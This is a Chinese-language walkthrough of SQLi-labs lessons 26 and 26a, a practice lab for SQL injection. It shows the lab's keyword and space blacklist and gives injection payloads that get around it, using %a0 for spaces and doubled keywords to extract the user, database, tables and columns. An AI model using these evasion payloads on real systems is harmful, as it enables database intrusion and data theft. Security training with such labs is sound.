SQLi Labs Lesson26 & Lesson26a

GET - Error based - All your SPACES and COMMENTS belong to us

SQLi Labs Lesson26 & Lesson26a_第1张图片


首先进入欢迎界面:

本节标题是 所有的空格和注释都没有卵用了。

根据上节内容,猜测应该是将空格和注释符号替换为空串。


实际测试:

构造 ?id=1

SQLi Labs Lesson26 & Lesson26a_第2张图片

结果如图所示:

构造 ?id=1'

在$id后多添加了一个单引号导致,闭合出现了问题。

后台SQL语句应该为:

select ... from table where id = '$id' limit 0,1

得到了后台SQL结构:

继续构造:

?id=1' or 1='1%23

错误回显如图所示:

提示信息如图所示:

发现:

‘or’,空格,‘#’都被过滤掉了

进一步测试后发现:‘and’,‘/’,‘\’,‘*’,‘-’都被注释掉了。

后台源码如下:

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

有关正则表达式,请参阅: http://deerchao.net/tutorials/regex/regex.htm

那么如何绕过这个黑名单函数呢?

工具Sqlmap下tamper文件夹中有space2mysqlblack.py

其中利用如何绕过空格的字符:

# ASCII table:

#   TAB     09      horizontal TAB

#   LF      0A      new line

#   FF      0C      new page

#   CR      0D      carriage return

#   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)

#    -        A0       -                           (MySQL only)

全部测试之后发现,一个都不能利用......

这是为什么?

因为我将MySQL中字符集改为UTF-8了。

SQLi Labs Lesson26 & Lesson26a_第3张图片


MySQL默认字符集下,测试后发现可以利用'%a0'作为空格:

?id=0'union%a0select%a01,2,3||'1

结果如图所示:

SQLi Labs Lesson26 & Lesson26a_第4张图片


获取user, database:

?id=0'union%a0select%a01,concat_ws('~',user(),database()),3||'1


获取表名:

?id=0'union%a0select%a01,(select%a0table_name%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0limit%a00,1) ,3||'1


emails表的字段名:

?id=0'union%a0select%a01,(select%a0column_name%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=database()%a0aandnd%a0table_name='emails'%a0limit%a00,1) ,3||'1


?id=0'union%a0select%a01,(select%a0column_name%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=database()%a0aandnd%a0table_name='emails'%a0limit%a01,1) ,3||'1


emails表内容:




但是,上面提到过,如果将MySQL字符集改为UTF-8后,‘%a0'代替空格的技巧将无法利用。


Lesson - 26a

GET - Blind Based - All your SPACES & COMMENTS Belong to us - String - Single quotes Parenthesis

本节为盲注,无错误回显。


构造?id=1,结果如图所示:

SQLi Labs Lesson26 & Lesson26a_第5张图片


构造?id=1",结果如图所示:

SQLi Labs Lesson26 & Lesson26a_第6张图片


后台SQL语句不可能为

$id = ' " '.$id.' " ';

select ... from table where id = $id

即,$id不可能被两个双引号包括。


构造?id=1',结果如图所示:


构造 ?id=1')||('1

SQLi Labs Lesson26 & Lesson26a_第7张图片


后台SQL结构:

select ... from table where id= ('$id') ...


查看源码:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

证实

你可能感兴趣的:(SQLi)